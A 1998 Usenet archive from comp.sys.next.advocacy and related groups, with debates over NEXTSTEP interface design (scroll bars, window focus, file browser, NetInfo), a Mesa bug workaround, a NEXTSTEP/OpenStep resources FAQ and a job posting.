Not so: Alt-clicking in a scroll arrow gives you page-up/down.
> Then there
> was the fact that moving from window to window required not only mouse
> movement, but a click, because I couldn't Alt-Tab and I couldn't
> focus-follow-mouse. Back to the problem with GUI configuration.
>
Again this is a design decision; one which I prefer, to be honest. I can
understand it if you don't like it, though, and it's one of the factors I
guess you have to weigh up to determine if NEXTSTEP is right for you...
> Then there was WindowServer configuration. I find I don't like the
> MegaPixel on the left, I want it on the right. Go to Prefs, click
> through a GUI wizard, change the Prefs. Restart?! What the f*** is this
> restart bullshit? This box takes ten minutes to boot! I can restart a
> window manager in two seconds, an X server in ten, double it on slow 486
> hardware. More waiting...
>
I can't remember which way round it was, but having the ND monitors one way
round was reputed to result in a very slow system -- I'm sure I told you
about it. As for restarting, again if it takes 10 minutes something's badly
misconfigured. It shouldn't take more than three. Furthermore, this is an
operation that you should only have to undertake once, so complaining as if
it were an everyday occurrence soomes somewhat disingenuous.
> I even thought about doing some development, but hell, I can't afford
> that. Several hundred dollars for an old toolkit I can't update and
> which won't work with my other platforms? Shine that.
>
Not a problem with the UI.
> Like I said, someone like my father doesn't really need any of the
> things I mention above. He's even willing to wait *minutes* for a
> computer to do something trivial like start up network services. I'm
> sure he would have loved NeXT computers if he'd been introduced to them
> years ago.
>
Like I said in another post a while back, it sounds to me like the sorts of
thing you were wanting to do with NEXTSTEP were not the sorts of thing that
you'd buy it for. If you'd said up front that you wanted it to be a better X
than X, and wanted to use it for networking and developing standard C apps, I
strongly suspect I would not have recommended it.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.software
Subject: Re: Mesa 3b2 EOModel browser bug
Date: 2 Apr 1998 15:20:48 GMT
Organization: P & L Systems
Message-ID: <6g0acg$oqv$4@ironhorse.plsys.co.uk>
References: <6fti2h$h2c$3@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6fti2h$h2c$3@ironhorse.plsys.co.uk> I wrote:
> I'll try to put a WWW page together to explain how to use this stuff
> in the next few days.
>
OK, it's at:
http://www.plsys.co.uk/products/mesa/databases/
I hope this is useful.
Best wishes,
mmalc.
Malcolm Crawford <malcolm@plsys.co.uk>
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <19601890542823@digifix.com>
Date: 29 Mar 1998 04:50:50 GMT
Organization: Digital Fix Development
Message-ID: <22277891147627@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: 1 Apr 1998 10:42:20 GMT
Organization: P & L Systems
Message-ID: <6ft5mc$h2c$1@ironhorse.plsys.co.uk>
References: <19980331164043823920@sdn-ts-012txhousp03.dialsprint.net> <B1473508-AB8F4@206.165.43.177>
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Cc: english@primenet.com
In <B1473508-AB8F4@206.165.43.177> "Lawson English" wrote:
>
> Anime has bunches of sub-genres. There's historical, sci-fi, fantasy, dark
> sci-fi/fantasy, pure horror, sex horror, sex comedy, sex comedy horror,
> lite comedy, kid's stuff, stupid kid's stuff and a jillion combinations of
> the above along with other catagories that I've probably never heard of.
>
... most including the word "sex" in them! :-)
During the time I was working in Japan, one of the fascinating sights -- that
I guess so many have remarked on -- was that of the middle-aged salaryman on
the train home, reading some of the most violent and sexually explicit
"comics" I've ever seen, quite openly. From a rather prudish Western
background it seems bizarre. What's saddening, though, is that equally
bizarre was the sight of 4- and 5-year old children also making their way
home on the train, by themselves, late at night. It's not sadenning that
they were going home at that time of night, it's sadenning that the sight
seemed bizarre... in just about any other country they wouldn't dare. I
really think there is a lot that we could learn from this, if only we knew
how.
Best wishes,
mmalc.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: accuracy of Stepwise Krishna article
Date: 28 Mar 1998 04:27:14 GMT
Organization: Digital Fix Development
Message-ID: <6fhu72$97s$1@news.digifix.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6fgqd6$6l5$1@crib.bevc.blacksburg.va.us> <6fh1i8$t5t$2@news.xmission.com> <6fgnpv$pgh$1@ns3.vrx.net> <6fhar1$754$1@crib.bevc.blacksburg.va.us> <6fguj3$rf5$1@ns3.vrx.net>
In-Reply-To: <6fguj3$rf5$1@ns3.vrx.net>
On 03/27/98, Maury Markowitz wrote:
>In <6fhar1$754$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
>> Eh? As long as they're going to give us the source code, what's
the
>> problem?
>
> Well it's the whole shared lib idea. As soon as you statically
linked,
>you're back to all those issues. If it's not big deal, why not just
stat
>link everything after all?
>
> The issue as I see it is that the PPL's should have been the
"blessed"
>format, not Coders.
My understanding is that PPLs aren't going away, but the
specific interfaces that are in the NSPPL class are.
Big difference there if you look at what the NSPPL class
actually contains.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Mesa 3b2 EOModel browser bug
Date: 1 Apr 1998 14:13:37 GMT
Organization: P & L Systems
Message-ID: <6fti2h$h2c$3@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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How embarassing -- there's an omission from the EOModel browser in the Query
Inspector in Mesa3b2...
* If you put an EOModel in /LocalLibrary/Models it will be found and show up
in the browser;
* If you drag an app containing an EOModel into the icon well, the EOModel
will be found and included in the browser;
* If you drag an EOModel into the icon well, it *should* show up, but
currently it doesn't. It will in the next release!
Workaround:
If you have an EOModel that you'd like to use but you don't want to write an
app or put it in /LocalLibrary, you can fool Mesa by creating a dummy .app
directory and puting the EOModel in a Resources directory within that, e.g.
Dummy.app/Resources/myEOModel.eomodeld
If you drag Dummy.app into the icon well in the Model Browser, the EOModel
will be found and its entities appear in the browser.
Apologies for this oversight.
I'll try to put a WWW page together to explain how to use this stuff in the
next few days.
Best wishes,
mmalc.
Malcolm Crawford <malcolm@plsys.co.uk>
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 17:35:44 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35257250.242B@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
<3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
<3524bac0.0@maser.urz.unibas.ch> <6g2bpu$m4p$1@ns3.vrx.net>
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Maury Markowitz wrote:
> Hmmm. What it basically says is that if you have a poorly designed UI for
> an app with a poorly designed form layout, you'll have problems. I think
> that's more a general statement than anything about scroll bars. What if the
> form field had been off the page to the right in it's entirety? What if the
> field had been 50 pixels to the left? What if it was too big and the
> horizontal had been off the bottom?
It seems like a shame to waste the one topic where Maury might agree
with me, but I have to play devil's advocate and point out that putting
the scrollbar on the left makes more sense in this case. Even though
you've pointed out other potential pitfalls, they don't erase the fact
that right-handed scrollbars add up to another variable that has to
geometry-managed, rather than taken for granted, the way they should be.
> Now in fairness I think that upper and left would likely be better than
> lower and right for these sorts of situations. But the key here, as I see
> it, is to make sure this doesn't happen in the first place. Forms should not
> be allowed to be displayed in ways the average user can't use them.
But in some cases it's desirable to let things scroll off to the right.
In such cases, you could accomplish your objective without compromise
*and* use scroll bars, but only if the scrollers were on the left. See
the point? Having to make that one extra restriction is an argument
against right-hand scrollers, that's all I'm saying.
MJP
From: rnukala@worldnet.att.net
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy,comp.sys.next.marketplace,comp.lang.objective-c
Subject: Looking for NextStep/Objective-C/EOF Developer.
Date: Fri, 03 Apr 1998 15:26:16 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6g3k5n$n58$1@nnrp1.dejanews.com>
We are looking for a NextStep developer with experience in Objective-C and
EOF. Some amount of framework orientation required.
Project location : Upper Mid west. Rate: DOE.
Please e-mail resumes to rnukala@worldnet.att.net
Thanks
Ram Nukala
ObjectSmiths Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 22:49:54 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3525BBF2.4BD6@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net> <35254d0c.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> I think that we have had pretty detailed threads in this newsgroup detailing
> specific technical pros and cons of most individual UI features, so the characterisation
> of the 'majority of proponents' seems somewhat detatched from reality.
Sorry, I should have said "majority of battleaxes assigned to respond to
deviant pissants like myself".
[cut]
> >Hell yes, I spent my money on a 60-pound glorified Quadra 610 just so
> >that I could turn it into another X Windows workstation. Wait, no,
> >that's not the way it happened.
>
> I'll take your word for it - but the post I was replying to sure read like the
> first thing you wanted to do was change things.
How odd, I mean the first thing I do with *any* box is change things! Am
I the only person who does this?
[cut]
> >I used the beloved Browser,
> >and frankly, it sucks. It can't move files anywhere near as facilely as
> >the Finder, yet raise the issue of the Finder for a NeXT advocate and
> >you get an earful about "clutter". Magically the conversation has been
> >transformed from "utility" to "aesthetics".
>
> Nope - a cluttered desktop is an inefficient desktop for most people - that's
> an issue of utility. And there's little to choose between browser and finder
> for moving files.
So don't clutter your desktop! I don't get it...I used the Finder for
*years* and I never had a cluttered desktop. I've used hard disks for
years and I don't clutter them. I like to keep my files and belongings
organized, and organizational aids should only be present if they don't
restrict utility.
Now, lots of people are really sloppy with their computer belongings, so
they can used some sort of functionality-restricting device like At Ease
or the NEXTSTEP browser.
[cut]
> >I like focus-follows-mouse
> >better, and I have GOOD reasons for doing so.
>
> As I said, I found click-to-focus/focus-follows-mouse habits to provoke very
> strong feelings - without good reason. I have never heard anyone give really
> GOOD reasons for a preference. What are yours?
Very simple: I use the mouse to focus, click to raise. That lets me
differentiate between raising windows and just focusing them. Thus I can
focus (and thus type in) windows that are partially occluded without
raising them. It's very useful.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 11:02:12 GMT
Organization: P & L Systems
Message-ID: <6g53vk$r9p$1@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu>
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Cc: portnoy@ai.mit.edu
"Michael J. Peck" <mjpeck@nstar.net> writes:
> user can't install this package? shit, retry as root. logout, relog
> in, install, logout, relog in. Waiting...
>
Oh come on Michael, as a Unix sort of chap this is inexcusable:
% su
Password:
# cd /NextAdmin/Installer.app
# ./Installer &
Now use the running Installer application to install your pagkage.
Wait time? About as much as it would take on any Unix system.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: accuracy of Stepwise Krishna article
Date: 4 Apr 1998 13:11:13 GMT
Organization: P & L Systems
Message-ID: <6g5bhh$bsi$1@ironhorse.plsys.co.uk>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6fgqd6$6l5$1@crib.bevc.blacksburg.va.us>
<6fh1i8$t5t$2@news.xmission.com> <6fgnpv$pgh$1@ns3.vrx.net>
<6fhar1$754$1@crib.bevc.blacksburg.va.us> <6fguj3$rf5$1@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6fguj3$rf5$1@ns3.vrx.net> Maury Markowitz wrote:
> In <6fhar1$754$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > Eh? As long as they're going to give us the source code, what's the
> > problem?
>
> Well it's the whole shared lib idea. As soon as you statically linked,
> you're back to all those issues. If it's not big deal, why not just stat
> link everything after all?
>
Depends on how it's taken up by people in the public domain: what might make
sense would be to add it to a Framework...
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Adobe dropping DPS rumor (Lawson?)
Date: 4 Apr 1998 13:15:20 GMT
Organization: P & L Systems
Message-ID: <6g5bp8$bsi$2@ironhorse.plsys.co.uk>
References: <6fo9mh$mbc$2@ironhorse.plsys.co.uk> <B14AD3C5-17FA94@206.165.43.27>
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Cc: english@primenet.com
In <B14AD3C5-17FA94@206.165.43.27> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> > Umm, you asked "How do you make a color wheel that handles all the color
> > spaces that a DTP professional might want to deal with?"
> >
> > The OPENSTEP Color Panel does just that. I can't see why you'd want to
> > it as raw DPS calls...?
>
> It was in the context of "roll your own [algorithms]" vs system-wide
> support, the point being that it is nice to have standardized stuff in the
> graphics library, rather than needing to dip into the lowest level all the
> time.
>
Umm, sorry, I still don't understand. The ColorWheel is an object which send
and reveives messages at the same level as the rest of your application.
There's certainly nothing "lowest level" about this...?
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 08:41:04 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g5d9g$sb9$1@crib.bevc.blacksburg.va.us>
References: <6e6jl3$csu$3@ns3.vrx.net> <3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu> <6g53vk$r9p$1@ironhorse.plsys.co.uk>
In article <6g53vk$r9p$1@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> "Michael J. Peck" <mjpeck@nstar.net> writes:
> > user can't install this package? shit, retry as root. logout, relog
> > in, install, logout, relog in. Waiting...
> Oh come on Michael, as a Unix sort of chap this is inexcusable:
> % su
> Password:
You don't even need Unix. Just use the Open Sesame service.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 08:37:28 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g5d2o$sao$1@crib.bevc.blacksburg.va.us>
References: <6e6jl3$csu$3@ns3.vrx.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com> <3525C014.1597@nstar.net>
In article <3525C014.1597@nstar.net>, mjpeck@nstar.net wrote:
> Charles Swiger wrote:
> > > ANSI color directory listings,
> > Sheesh! Since the majority of NeXT hardware sold was mono systems, I think
> > they could be forgiven for not shipping a color 'ls'.
> color-ls on a mono screen at least gives bold.
Do you know of _any_ commercial Unix vendor that has shipped a color 'ls'?
I think they mostly think of it as gratuitous (and ugly) eye-candy, not
suitable for serious use. I know _I_ never use it, even on systems that
have it; it makes things more confusing and harder on the eyes for me.
(One of the primary reasons I like NEXTSTEP: they know about simplicity
and aesthetics in visual design.) color 'ls' has all the eye-pleasing
aesthetics of a man's abdomen torn open by a hand grenade. 'ls -F'
works well enough for me. I've usually only seen color 'ls' installed
on k00l hackerz' systems like Linux.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 13:34:55 GMT
Organization: P & L Systems
Message-ID: <6g5ctv$bsi$3@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net> <6g10j2$oqv$6@ironhorse.plsys.co.uk>
<35257A33.5101@nstar.net>
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Cc: mjpeck@nstar.net
In <35257A33.5101@nstar.net> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > Apart from that, I seem to remember that you didn't find out that the
shelf
> > is resizeable? *If* this is the case then I can understand your
frustration.
>
> Hmm, don't remember. It wouldn't have mattered, anyway; I never ran out
> of room on the shelf.
>
> But that's because I didn't like using the shelf. I ended up spawning
> two browsers and copying between them. What a waste of time to move a
> file *twice* instead of once when moving or copying.
>
So how does having a Finder-like desktop help you here?
> Twice as much time
> to wait for the slow machine, twice as much opportunity to make a
> mistake and copy /LocalApps into /Users, and twice as much frustration
> with navigating the filesystem.
>
If you've got two browsers open, how do you have twice as much opportunity to
make mistakes etc?
> > Umm, forgive me Mike, but I really did get the impression you didn't have
> > your heart in it, or you had inappropriate expectations... I think your
> > disappointment primarily with fighting the networking side of things
spilled
> > over into other aspects.
>
> No, we had already wasted enough words discussing the GUI aspects many
> months before. I had expected when I bought the machine that it would
> work, from the UNIX side of things, so it was unexpected that I'd have
> complaints about that stuff.
>
There are, as far as I can see, two clearly disting issues here.
When saying that NEXTSTEP "Just works" I think it's clear that people have
been referring to aspects of the user environment. And fo most people, it
does.
Networking is a different issue. If you're creating an all-NEXTSTEP network,
it's easy. If you're adding a NEXTSTEP system to a heterogeneous network,
then it's not as easy, in the same way that adding any other system would be,
particularly adding a three-year old OS to a modern network. You certainly
seem to have had more problems than most, however lacking the relevant
documentation cannot have helped... As I think I said elsewhere, Chapter 11
of the sysadmin book covers adding a NeXT to an NIS network quite thoroughly
-- you can sidestep most of NetInfo if you want... there is certainly no need
to fight it in the way you've been describing.
> And you can hardly fault me if you know what I went through fighting
> NetInfo. Waiting tens of minutes for the cursor to stop spinning nearly
> drove me out of my head with insanity. I used to curse, "This is
> MULTITASKING?" as the entire box stopped working for minutes at a time.
>
As others have said, this really is most unusual; I can't think of any
occasion this has happened to me. Everything points to a badly set up, badly
configured system.
Best wishes,
mmalc.
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 17:34:24 GMT
Organization: Occam's Razor
Message-ID: <6g5qv0$hpr$2@news.cmc.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net> <6g10j2$oqv$6@ironhorse.plsys.co.uk>
<35257A33.5101@nstar.net>
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Cc: mjpeck@nstar.net
In <35257A33.5101@nstar.net> Michael Peck wrote:
>
>But that's because I didn't like using the shelf. I ended up spawning
>two browsers and copying between them. What a waste of time to move a
>file *twice* instead of once when moving or copying. Twice as much time
>to wait for the slow machine, twice as much opportunity to make a
>mistake and copy /LocalApps into /Users, and twice as much frustration
>with navigating the filesystem.
I'm not sure I understand this. Are you talking about moving a file twice
with two browsers open? Why would you need to do that?
Or do you mean when using the Shelf? Well, then you've found the solution:
use two browsers.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 2 Apr 1998 16:55:05 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g0ft9$k6c$5@anvil.BLaCKSMITH.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net>
Curtis Bass <cndbass@i2020.net> wrote:
